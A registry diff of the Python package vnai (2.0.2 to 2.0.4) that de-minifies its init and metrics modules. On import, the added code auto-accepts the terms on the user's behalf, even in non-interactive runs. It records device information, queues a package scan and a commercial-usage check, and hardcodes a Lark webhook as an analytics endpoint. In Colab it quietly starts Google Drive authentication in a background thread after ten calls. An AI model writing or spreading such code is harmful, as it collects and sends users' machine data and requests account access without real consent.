vnai 2.0.2__py3-none-any.whl → 2.0.4__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- vnai/__init__.py +265 -72
- vnai/beam/__init__.py +5 -2
- vnai/beam/metrics.py +182 -57
- vnai/beam/pulse.py +107 -29
- vnai/beam/quota.py +479 -102
- vnai/flow/__init__.py +5 -2
- vnai/flow/queue.py +131 -55
- vnai/flow/relay.py +439 -149
- vnai/scope/__init__.py +5 -2
- vnai/scope/profile.py +762 -219
- vnai/scope/promo.py +249 -55
- vnai/scope/state.py +220 -71
- {vnai-2.0.2.dist-info → vnai-2.0.4.dist-info}/METADATA +4 -5
- vnai-2.0.4.dist-info/RECORD +16 -0
- {vnai-2.0.2.dist-info → vnai-2.0.4.dist-info}/WHEEL +1 -1
- vnai-2.0.2.dist-info/RECORD +0 -16
- {vnai-2.0.2.dist-info → vnai-2.0.4.dist-info}/top_level.txt +0 -0
vnai/__init__.py
CHANGED
@@ -1,81 +1,274 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
|
8
|
-
|
9
|
-
|
10
|
-
_C='machine_id'
|
11
|
-
_B=None
|
12
|
-
_A=True
|
13
|
-
import os,pathlib,json,time,threading,functools
|
1
|
+
# vnai/__init__.py
|
2
|
+
# Main entry point for vnai package
|
3
|
+
|
4
|
+
import os
|
5
|
+
import pathlib
|
6
|
+
import json
|
7
|
+
import time
|
8
|
+
import threading
|
9
|
+
import functools
|
14
10
|
from datetime import datetime
|
15
|
-
|
16
|
-
|
11
|
+
|
12
|
+
# Import core functionality
|
13
|
+
from vnai.beam.quota import guardian, optimize
|
14
|
+
from vnai.beam.metrics import collector, capture
|
17
15
|
from vnai.beam.pulse import monitor
|
18
|
-
from vnai.flow.relay import conduit,configure
|
16
|
+
from vnai.flow.relay import conduit, configure
|
19
17
|
from vnai.flow.queue import buffer
|
20
18
|
from vnai.scope.profile import inspector
|
21
|
-
from vnai.scope.state import tracker,record
|
19
|
+
from vnai.scope.state import tracker, record
|
22
20
|
from vnai.scope.promo import present
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
21
|
+
|
22
|
+
# Constants for terms and conditions
|
23
|
+
TC_VAR = "ACCEPT_TC"
|
24
|
+
TC_VAL = "tôi đồng ý"
|
25
|
+
TC_PATH = pathlib.Path.home() / ".vnstock" / "id" / "terms_agreement.txt"
|
26
|
+
|
27
|
+
TERMS_AND_CONDITIONS = """
|
28
|
+
Khi tiếp tục sử dụng Vnstock, bạn xác nhận rằng bạn đã đọc, hiểu và đồng ý với Chính sách quyền riêng tư và Điều khoản, điều kiện về giấy phép sử dụng Vnstock.
|
29
|
+
|
30
|
+
Chi tiết:
|
31
|
+
- Giấy phép sử dụng phần mềm: https://vnstocks.com/docs/tai-lieu/giay-phep-su-dung
|
32
|
+
- Chính sách quyền riêng tư: https://vnstocks.com/docs/tai-lieu/chinh-sach-quyen-rieng-tu
|
33
|
+
"""
|
34
|
+
|
27
35
|
class Core:
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
36
|
+
"""Core functionality for system optimization"""
|
37
|
+
|
38
|
+
def __init__(self):
|
39
|
+
"""Initialize core"""
|
40
|
+
self.initialized = False
|
41
|
+
self.webhook_url = None
|
42
|
+
self.init_time = datetime.now().isoformat()
|
43
|
+
self.home_dir = pathlib.Path.home()
|
44
|
+
self.project_dir = self.home_dir / ".vnstock"
|
45
|
+
self.id_dir = self.project_dir / 'id'
|
46
|
+
self.terms_file_path = TC_PATH
|
47
|
+
self.system_info = None
|
48
|
+
|
49
|
+
# Create necessary directories
|
50
|
+
self.project_dir.mkdir(exist_ok=True)
|
51
|
+
self.id_dir.mkdir(exist_ok=True)
|
52
|
+
|
53
|
+
# Auto-initialize
|
54
|
+
self.initialize()
|
55
|
+
|
56
|
+
def initialize(self, webhook_url=None):
|
57
|
+
"""Initialize the system"""
|
58
|
+
if self.initialized:
|
59
|
+
return True
|
60
|
+
|
61
|
+
# Check terms acceptance
|
62
|
+
if not self._check_terms():
|
63
|
+
self._accept_terms()
|
64
|
+
|
65
|
+
# Set up vnstock environment
|
66
|
+
from vnai.scope.profile import inspector
|
67
|
+
inspector.setup_vnstock_environment()
|
68
|
+
|
69
|
+
# Display content during initialization
|
70
|
+
present()
|
71
|
+
|
72
|
+
# Configure webhook if provided
|
73
|
+
if webhook_url:
|
74
|
+
self.webhook_url = webhook_url
|
75
|
+
configure(webhook_url)
|
76
|
+
|
77
|
+
# Record initialization
|
78
|
+
record("initialization", {"timestamp": datetime.now().isoformat()})
|
79
|
+
|
80
|
+
# Get system information ONCE and store it in the class
|
81
|
+
self.system_info = inspector.examine()
|
82
|
+
|
83
|
+
# Queue system data with optimal structure
|
84
|
+
conduit.queue({
|
85
|
+
"type": "system_info",
|
86
|
+
"data": {
|
87
|
+
"commercial": inspector.detect_commercial_usage(),
|
88
|
+
"packages": inspector.scan_packages()
|
89
|
+
}
|
90
|
+
}, priority="high")
|
91
|
+
|
92
|
+
self.initialized = True
|
93
|
+
return True
|
94
|
+
|
95
|
+
def _check_terms(self):
|
96
|
+
"""Check if terms have been accepted"""
|
97
|
+
return os.path.exists(self.terms_file_path)
|
98
|
+
|
99
|
+
def _accept_terms(self):
|
100
|
+
"""Record terms acceptance"""
|
101
|
+
# Get system information
|
102
|
+
system_info = inspector.examine()
|
103
|
+
|
104
|
+
# Auto-accept terms
|
105
|
+
if TC_VAR in os.environ and os.environ[TC_VAR] == TC_VAL:
|
106
|
+
response = TC_VAL
|
107
|
+
else:
|
108
|
+
# For non-interactive environments, accept by default
|
109
|
+
response = TC_VAL
|
110
|
+
os.environ[TC_VAR] = TC_VAL
|
111
|
+
|
112
|
+
# Store the acceptance with hardware info
|
113
|
+
now = datetime.now()
|
114
|
+
signed_agreement = (
|
115
|
+
f"Người dùng có mã nhận dạng {system_info['machine_id']} đã chấp nhận "
|
116
|
+
f"điều khoản & điều kiện sử dụng Vnstock lúc {now}\n"
|
117
|
+
f"---\n\n"
|
118
|
+
f"THÔNG TIN THIẾT BỊ: {json.dumps(system_info, indent=2)}\n\n"
|
119
|
+
f"Đính kèm bản sao nội dung bạn đã đọc, hiểu rõ và đồng ý dưới đây:\n"
|
120
|
+
f"{TERMS_AND_CONDITIONS}"
|
121
|
+
)
|
122
|
+
|
123
|
+
# Store the acceptance
|
124
|
+
with open(self.terms_file_path, "w", encoding="utf-8") as f:
|
125
|
+
f.write(signed_agreement)
|
126
|
+
|
127
|
+
# Create the environment.json file that vnstock expects
|
128
|
+
env_file = self.id_dir / "environment.json"
|
129
|
+
env_data = {
|
130
|
+
"accepted_agreement": True,
|
131
|
+
"timestamp": now.isoformat(),
|
132
|
+
"machine_id": system_info['machine_id']
|
133
|
+
}
|
134
|
+
|
135
|
+
with open(env_file, "w") as f:
|
136
|
+
json.dump(env_data, f)
|
137
|
+
|
138
|
+
return True
|
139
|
+
|
140
|
+
def status(self):
|
141
|
+
"""Get system status"""
|
142
|
+
return {
|
143
|
+
"initialized": self.initialized,
|
144
|
+
"health": monitor.report(),
|
145
|
+
"metrics": tracker.get_metrics()
|
146
|
+
# Environment information available via self.system_info
|
147
|
+
}
|
148
|
+
|
149
|
+
def configure_privacy(self, level="standard"):
|
150
|
+
"""Configure privacy settings"""
|
151
|
+
from vnai.scope.state import tracker
|
152
|
+
return tracker.setup_privacy(level)
|
153
|
+
|
154
|
+
|
155
|
+
# Create singleton instance
|
156
|
+
core = Core()
|
157
|
+
|
158
|
+
# Backward support
|
159
|
+
def tc_init(webhook_url=None):
|
160
|
+
return core.initialize(webhook_url)
|
161
|
+
|
162
|
+
# Public API
|
163
|
+
def setup(webhook_url=None):
|
164
|
+
"""Setup vnai with optional webhook URL"""
|
165
|
+
return core.initialize(webhook_url)
|
166
|
+
|
167
|
+
def optimize_execution(resource_type="default"):
|
168
|
+
"""Decorator for optimizing function execution"""
|
169
|
+
return optimize(resource_type)
|
170
|
+
|
171
|
+
def agg_execution(resource_type="default"):
|
172
|
+
"""Decorator for aggregating function execution"""
|
173
|
+
return optimize(resource_type, ad_cooldown=1500, content_trigger_threshold=100000)
|
174
|
+
|
175
|
+
def measure_performance(module_type="function"):
|
176
|
+
"""Decorator for measuring function performance"""
|
177
|
+
return capture(module_type)
|
178
|
+
|
179
|
+
def accept_license_terms(terms_text=None):
|
180
|
+
"""Accept license terms and conditions"""
|
181
|
+
if terms_text is None:
|
182
|
+
terms_text = TERMS_AND_CONDITIONS
|
183
|
+
|
184
|
+
# Get system information
|
185
|
+
system_info = inspector.examine()
|
186
|
+
|
187
|
+
# Record acceptance
|
188
|
+
terms_file = pathlib.Path.home() / ".vnstock" / "id" / "terms_agreement.txt"
|
189
|
+
os.makedirs(os.path.dirname(terms_file), exist_ok=True)
|
190
|
+
|
191
|
+
with open(terms_file, "w", encoding="utf-8") as f:
|
192
|
+
f.write(f"Terms accepted at {datetime.now().isoformat()}\n")
|
193
|
+
f.write(f"System: {json.dumps(system_info)}\n\n")
|
194
|
+
f.write(terms_text)
|
195
|
+
|
196
|
+
return True
|
197
|
+
|
66
198
|
def accept_vnstock_terms():
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
199
|
+
"""Accept vnstock terms and create necessary files"""
|
200
|
+
# Get system information
|
201
|
+
from vnai.scope.profile import inspector
|
202
|
+
system_info = inspector.examine()
|
203
|
+
|
204
|
+
# Create necessary directories
|
205
|
+
home_dir = pathlib.Path.home()
|
206
|
+
project_dir = home_dir / ".vnstock"
|
207
|
+
project_dir.mkdir(exist_ok=True)
|
208
|
+
id_dir = project_dir / 'id'
|
209
|
+
id_dir.mkdir(exist_ok=True)
|
210
|
+
|
211
|
+
# Create environment.json file that vnstock looks for
|
212
|
+
env_file = id_dir / "environment.json"
|
213
|
+
env_data = {
|
214
|
+
"accepted_agreement": True,
|
215
|
+
"timestamp": datetime.now().isoformat(),
|
216
|
+
"machine_id": system_info['machine_id']
|
217
|
+
}
|
218
|
+
|
219
|
+
try:
|
220
|
+
with open(env_file, "w") as f:
|
221
|
+
json.dump(env_data, f)
|
222
|
+
print("Vnstock terms accepted successfully.")
|
223
|
+
return True
|
224
|
+
except Exception as e:
|
225
|
+
print(f"Error accepting terms: {e}")
|
226
|
+
return False
|
227
|
+
|
228
|
+
def setup_for_colab():
|
229
|
+
"""Special setup for Google Colab environments"""
|
230
|
+
from vnai.scope.profile import inspector
|
231
|
+
|
232
|
+
# Immediate authentication for Colab
|
233
|
+
inspector.detect_colab_with_delayed_auth(immediate=True)
|
234
|
+
|
235
|
+
# Setup vnstock environment
|
236
|
+
inspector.setup_vnstock_environment()
|
237
|
+
|
238
|
+
return "Environment set up for Google Colab"
|
239
|
+
|
240
|
+
def display_content():
|
241
|
+
"""Display promotional content appropriate for the current environment"""
|
242
|
+
return present()
|
243
|
+
|
244
|
+
def configure_privacy(level="standard"):
|
245
|
+
"""Configure privacy level for analytics data"""
|
246
|
+
from vnai.scope.state import tracker
|
247
|
+
return tracker.setup_privacy(level)
|
248
|
+
|
249
|
+
def check_commercial_usage():
|
250
|
+
"""Check if running in commercial environment"""
|
251
|
+
from vnai.scope.profile import inspector
|
252
|
+
return inspector.detect_commercial_usage()
|
253
|
+
|
254
|
+
def authenticate_for_persistence():
|
255
|
+
"""Authenticate to Google Drive for persistent settings (Colab only)"""
|
256
|
+
from vnai.scope.profile import inspector
|
257
|
+
return inspector.get_or_create_user_id()
|
258
|
+
|
77
259
|
def configure_webhook(webhook_id='80b8832b694a75c8ddc811ac7882a3de'):
|
78
|
-
|
79
|
-
|
80
|
-
|
260
|
+
"""Configure webhook URL for analytics data transmission
|
261
|
+
|
262
|
+
This method should be called once during application initialization
|
263
|
+
to set up the analytics endpoint. For security reasons, the URL should
|
264
|
+
not be hardcoded in user-facing code.
|
265
|
+
"""
|
266
|
+
if not webhook_id:
|
267
|
+
return False
|
268
|
+
|
269
|
+
from vnai.flow.relay import configure
|
270
|
+
webhook_url = f'https://botbuilder.larksuite.com/api/trigger-webhook/{webhook_id}'
|
271
|
+
return configure(webhook_url)
|
272
|
+
|
273
|
+
# Set the webhook
|
81
274
|
configure_webhook()
|
vnai/beam/__init__.py
CHANGED
@@ -1,3 +1,6 @@
|
|
1
|
-
|
2
|
-
|
1
|
+
# vnai/beam/__init__.py
|
2
|
+
# System monitoring and resource management
|
3
|
+
|
4
|
+
from vnai.beam.quota import guardian, optimize
|
5
|
+
from vnai.beam.metrics import collector, capture
|
3
6
|
from vnai.beam.pulse import monitor
|
vnai/beam/metrics.py
CHANGED
@@ -1,59 +1,184 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
7
|
-
_E=False
|
8
|
-
_D=True
|
9
|
-
_C='error'
|
10
|
-
_B=None
|
11
|
-
_A='function'
|
12
|
-
import sys,time,threading
|
1
|
+
# vnai/beam/metrics.py
|
2
|
+
# System performance metrics collection (formerly analytics)
|
3
|
+
|
4
|
+
import sys
|
5
|
+
import time
|
6
|
+
import threading
|
13
7
|
from datetime import datetime
|
8
|
+
|
14
9
|
class Collector:
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
|
40
|
-
|
41
|
-
|
42
|
-
|
43
|
-
|
44
|
-
|
45
|
-
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
|
50
|
-
|
51
|
-
|
52
|
-
|
53
|
-
|
54
|
-
|
55
|
-
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
10
|
+
"""Collects operation metrics for system optimization"""
|
11
|
+
|
12
|
+
_instance = None
|
13
|
+
_lock = threading.Lock()
|
14
|
+
|
15
|
+
def __new__(cls):
|
16
|
+
with cls._lock:
|
17
|
+
if cls._instance is None:
|
18
|
+
cls._instance = super(Collector, cls).__new__(cls)
|
19
|
+
cls._instance._initialize()
|
20
|
+
return cls._instance
|
21
|
+
|
22
|
+
def _initialize(self):
|
23
|
+
"""Initialize collector"""
|
24
|
+
self.metrics = {
|
25
|
+
"function": [],
|
26
|
+
"rate_limit": [],
|
27
|
+
"request": [],
|
28
|
+
"error": []
|
29
|
+
}
|
30
|
+
self.thresholds = {
|
31
|
+
"buffer_size": 50,
|
32
|
+
"error_threshold": 0.1,
|
33
|
+
"performance_threshold": 5.0
|
34
|
+
}
|
35
|
+
self.function_count = 0
|
36
|
+
self.colab_auth_triggered = False
|
37
|
+
|
38
|
+
def record(self, metric_type, data, priority=None):
|
39
|
+
"""Record operation metrics"""
|
40
|
+
# Ensure data is a dictionary
|
41
|
+
if not isinstance(data, dict):
|
42
|
+
data = {"value": str(data)}
|
43
|
+
|
44
|
+
# Add timestamp if not present
|
45
|
+
if "timestamp" not in data:
|
46
|
+
data["timestamp"] = datetime.now().isoformat()
|
47
|
+
|
48
|
+
# For system_info type, keep full data
|
49
|
+
# For other types, only include machine_id reference
|
50
|
+
if metric_type != "system_info" and isinstance(data, dict):
|
51
|
+
# Remove any system info and just reference machine_id
|
52
|
+
if "system" in data:
|
53
|
+
del data["system"]
|
54
|
+
|
55
|
+
# Get machine_id for reference
|
56
|
+
from vnai.scope.profile import inspector
|
57
|
+
data["machine_id"] = inspector.fingerprint()
|
58
|
+
|
59
|
+
# Add to appropriate metrics collection
|
60
|
+
if metric_type in self.metrics:
|
61
|
+
self.metrics[metric_type].append(data)
|
62
|
+
else:
|
63
|
+
self.metrics["function"].append(data)
|
64
|
+
|
65
|
+
# Keep track of function call count for Colab auth trigger
|
66
|
+
if metric_type == "function":
|
67
|
+
self.function_count += 1
|
68
|
+
|
69
|
+
# Check if we should trigger Colab authentication
|
70
|
+
if self.function_count > 10 and not self.colab_auth_triggered and 'google.colab' in sys.modules:
|
71
|
+
self.colab_auth_triggered = True
|
72
|
+
# Trigger in a separate thread to avoid blocking
|
73
|
+
threading.Thread(
|
74
|
+
target=self._trigger_colab_auth,
|
75
|
+
daemon=True
|
76
|
+
).start()
|
77
|
+
|
78
|
+
# Check buffer size and send if threshold reached
|
79
|
+
if sum(len(metric_list) for metric_list in self.metrics.values()) >= self.thresholds["buffer_size"]:
|
80
|
+
self._send_metrics()
|
81
|
+
|
82
|
+
# Send immediately for high priority metrics
|
83
|
+
if priority == "high" or (metric_type == "error"):
|
84
|
+
self._send_metrics()
|
85
|
+
|
86
|
+
def _trigger_colab_auth(self):
|
87
|
+
"""Trigger Google Colab authentication in a background thread"""
|
88
|
+
try:
|
89
|
+
from vnai.scope.profile import inspector
|
90
|
+
inspector.get_or_create_user_id()
|
91
|
+
except:
|
92
|
+
pass # Silently fail if there's an issue
|
93
|
+
|
94
|
+
def _send_metrics(self):
|
95
|
+
"""Send collected metrics to data relay"""
|
96
|
+
# Import here to avoid circular imports
|
97
|
+
from vnai.flow.relay import track_function_call, track_rate_limit, track_api_request
|
98
|
+
|
99
|
+
# Process and send each type of metric using the appropriate tracking function
|
100
|
+
for metric_type, data_list in self.metrics.items():
|
101
|
+
if not data_list:
|
102
|
+
continue
|
103
|
+
|
104
|
+
# Process each metric by type
|
105
|
+
for data in data_list:
|
106
|
+
try:
|
107
|
+
if metric_type == "function":
|
108
|
+
# Use the track_function_call interface
|
109
|
+
track_function_call(
|
110
|
+
function_name=data.get("function", "unknown"),
|
111
|
+
source=data.get("source", "vnai"),
|
112
|
+
execution_time=data.get("execution_time", 0),
|
113
|
+
success=data.get("success", True),
|
114
|
+
error=data.get("error"),
|
115
|
+
args=data.get("args")
|
116
|
+
)
|
117
|
+
elif metric_type == "rate_limit":
|
118
|
+
# Use the track_rate_limit interface
|
119
|
+
track_rate_limit(
|
120
|
+
source=data.get("source", "vnai"),
|
121
|
+
limit_type=data.get("limit_type", "unknown"),
|
122
|
+
limit_value=data.get("limit_value", 0),
|
123
|
+
current_usage=data.get("current_usage", 0),
|
124
|
+
is_exceeded=data.get("is_exceeded", False)
|
125
|
+
)
|
126
|
+
elif metric_type == "request":
|
127
|
+
# Use the track_api_request interface
|
128
|
+
track_api_request(
|
129
|
+
endpoint=data.get("endpoint", "unknown"),
|
130
|
+
source=data.get("source", "vnai"),
|
131
|
+
method=data.get("method", "GET"),
|
132
|
+
status_code=data.get("status_code", 200),
|
133
|
+
execution_time=data.get("execution_time", 0),
|
134
|
+
request_size=data.get("request_size", 0),
|
135
|
+
response_size=data.get("response_size", 0)
|
136
|
+
)
|
137
|
+
except Exception as e:
|
138
|
+
# If tracking fails, just continue with the next item
|
139
|
+
continue
|
140
|
+
|
141
|
+
# Clear the processed metrics
|
142
|
+
self.metrics[metric_type] = []
|
143
|
+
|
144
|
+
def get_metrics_summary(self):
|
145
|
+
"""Get summary of collected metrics"""
|
146
|
+
return {
|
147
|
+
metric_type: len(data_list)
|
148
|
+
for metric_type, data_list in self.metrics.items()
|
149
|
+
}
|
150
|
+
|
151
|
+
# Create singleton instance
|
152
|
+
collector = Collector()
|
153
|
+
|
154
|
+
def capture(module_type="function"):
|
155
|
+
"""Decorator to capture metrics for any function"""
|
156
|
+
def decorator(func):
|
157
|
+
def wrapper(*args, **kwargs):
|
158
|
+
start_time = time.time()
|
159
|
+
success = False
|
160
|
+
error = None
|
161
|
+
|
162
|
+
try:
|
163
|
+
result = func(*args, **kwargs)
|
164
|
+
success = True
|
165
|
+
return result
|
166
|
+
except Exception as e:
|
167
|
+
error = str(e)
|
168
|
+
raise
|
169
|
+
finally:
|
170
|
+
execution_time = time.time() - start_time
|
171
|
+
|
172
|
+
collector.record(
|
173
|
+
module_type,
|
174
|
+
{
|
175
|
+
"function": func.__name__,
|
176
|
+
"execution_time": execution_time,
|
177
|
+
"success": success,
|
178
|
+
"error": error,
|
179
|
+
"timestamp": datetime.now().isoformat(),
|
180
|
+
"args": str(args)[:100] if args else None # Truncate for privacy
|
181
|
+
}
|
182
|
+
)
|
183
|
+
return wrapper
|
184
|
+
return decorator
|